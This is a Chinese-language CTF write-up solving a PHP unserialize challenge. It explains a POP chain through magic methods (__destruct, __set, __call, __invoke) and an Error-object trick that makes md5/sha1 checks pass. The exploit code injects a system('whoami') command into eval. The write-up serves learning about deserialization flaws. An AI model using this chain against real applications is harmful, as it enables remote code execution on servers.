反序列化题做得少,正好这个题比较适合学习反序列化
本题设计的魔术方法:
- __invoke: 当该类被作为函数调用时执行
- __set: 当对象赋值一个不存在的属性时执行
- __call: 当对象调用不存在的方法时执行
- __destruct: 对象销毁时执行
源码如下:
<?php
highlight_file(__file__);
class Jack
{
private $action;
function __set($a, $b)
{
$b->$a();
}
}
class Love {
public $var;
function __call($a,$b)
{
$rose = $this->var;
call_user_func($rose);
}
private function action(){
echo "jack love rose";
}
}
class Titanic{
public $people;
public $ship;
function __destruct(){
$this->people->action=$this->ship;
}
}
class Rose{
public $var1;
public $var2;
function __invoke(){
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}
}
}
if(isset($_GET['love'])){
$sail=$_GET['love'];
unserialize($sail);
}
?>
做反序列化的题呢,先找利用的点,再去反推pop链
这里可以看到最后一个类里有eval()且参数可控,显然就是这里想办法绕过,去利用这个eval。
绕过if
用php的原生类:Error,Exception
这两个类含有__tostring方法
<
p>md5()和sha1()对一个类进行hash,会触发这个类的__toString()方法,当eval函数传入类对象时,也会触发__toString()方法
所以如果var1和var2都是带有Error类时,进行md5()或sha1()传值时,触发__tostring(),而__tostring()的返回值是可以构造的
比如:
可以看到变量值不同,但是返回的值(报错信息)是一样的,返回值包含了对象 new 的位置,所以需要在同一行 new 两个对象。
这样绕过了三个判断,可以执行 eval 了。
利用eval
从上面绕过的返回值上可以看到包含了 Error 的参数,当参数构造为可执行php时,即可
输出yes,执行成功,这里需要闭合一下,否则会报错无法执行。
解题思路:
利用位置:
Rose类,利用方法__invoke(),绕过三个比较执行eval。
反推pop链:
执行eval,需要调用Rose(),触发__invoke
调用Rose():
Love类存在调用,可以触发 __invoke(),前提是触发__call()
$var= new Rose;
call_user_func() :将第一个参数作为回调函数执行
这里可以将Rose类作为函数调用,前提是触发__call
触发__call:
Jack类可构造调用某类的某方法,前提是触发__set();
可实现调用 Love 类中 private function action() 来触发__call()
$b = new Love;
$a = ???(不存在的方法即可)
触发__set():
Tianic类存在给指定类的 action 属性赋值,前提是触发__destruct()
$people = $Jack;
$ship = ???
可以实现给 Jack 类中的 action 属性赋值,而 action 是一个
private 属性访问,即可触发__set(),而 __destruct()会自动触发。
接下来就可以构造pop链了
构造pop链
Tianic -> Jack -> Love -> Rose
exp
$str = "?><?php system('whoami');?>";
$a = new Error($str);$b=new Error($str,1);
$J = new Jack();
$L = new Love();
$R = new Rose();
$T = new Titanic();
#上面创建对象
$R -> var1 = $a;
$R -> var2 = $b; #使用php内置类绕过if
$L -> var = $R; #调用Rose()
$T -> people = $J; #给Jack类的 action 赋值,触发__set()
$T -> ship = $L; #这里是为了调用 Love 类的action方法,单论触发魔术方法时,这里的值是任意的
echo(serialize($T));
执行成功
这里hackbar传参和url传参结果不同
补充
解释一下上面有问好的地方
一、上面的pop链,Titanic 类的 $ship 为什么是 $L?
当pop链中 $ship 为 'abc' 时,可以看到payload只有一小段,显然pop是断的。
到这里我们跳出这个题,看一下 Jack 类是怎么调用的
还是题目源码,为了方便调试,我删了不必要的代码,并且在 Jack 类里加了输出
只 new 了 Jack 和 Titanic
可以看到,__set($a,$b)确实触发了,而且 $a=action ,$b=abc
所以正如上面注释所说,仅触发__set()方法的话 $ship 的值是任意的,但是这题里面,$a 是写死的 action ,而 $b 就等价于 $ship。
触发__call()方法:
__set()里的 $b->$a 就意味着 $ship -> action()
到这里就清晰明了了,$ship不仅在Titanic类里触发__set(),还在Jack类里参与触发__call,而在Titanic类里对它的值不做要求,在Jack类里需要它的值为 $L。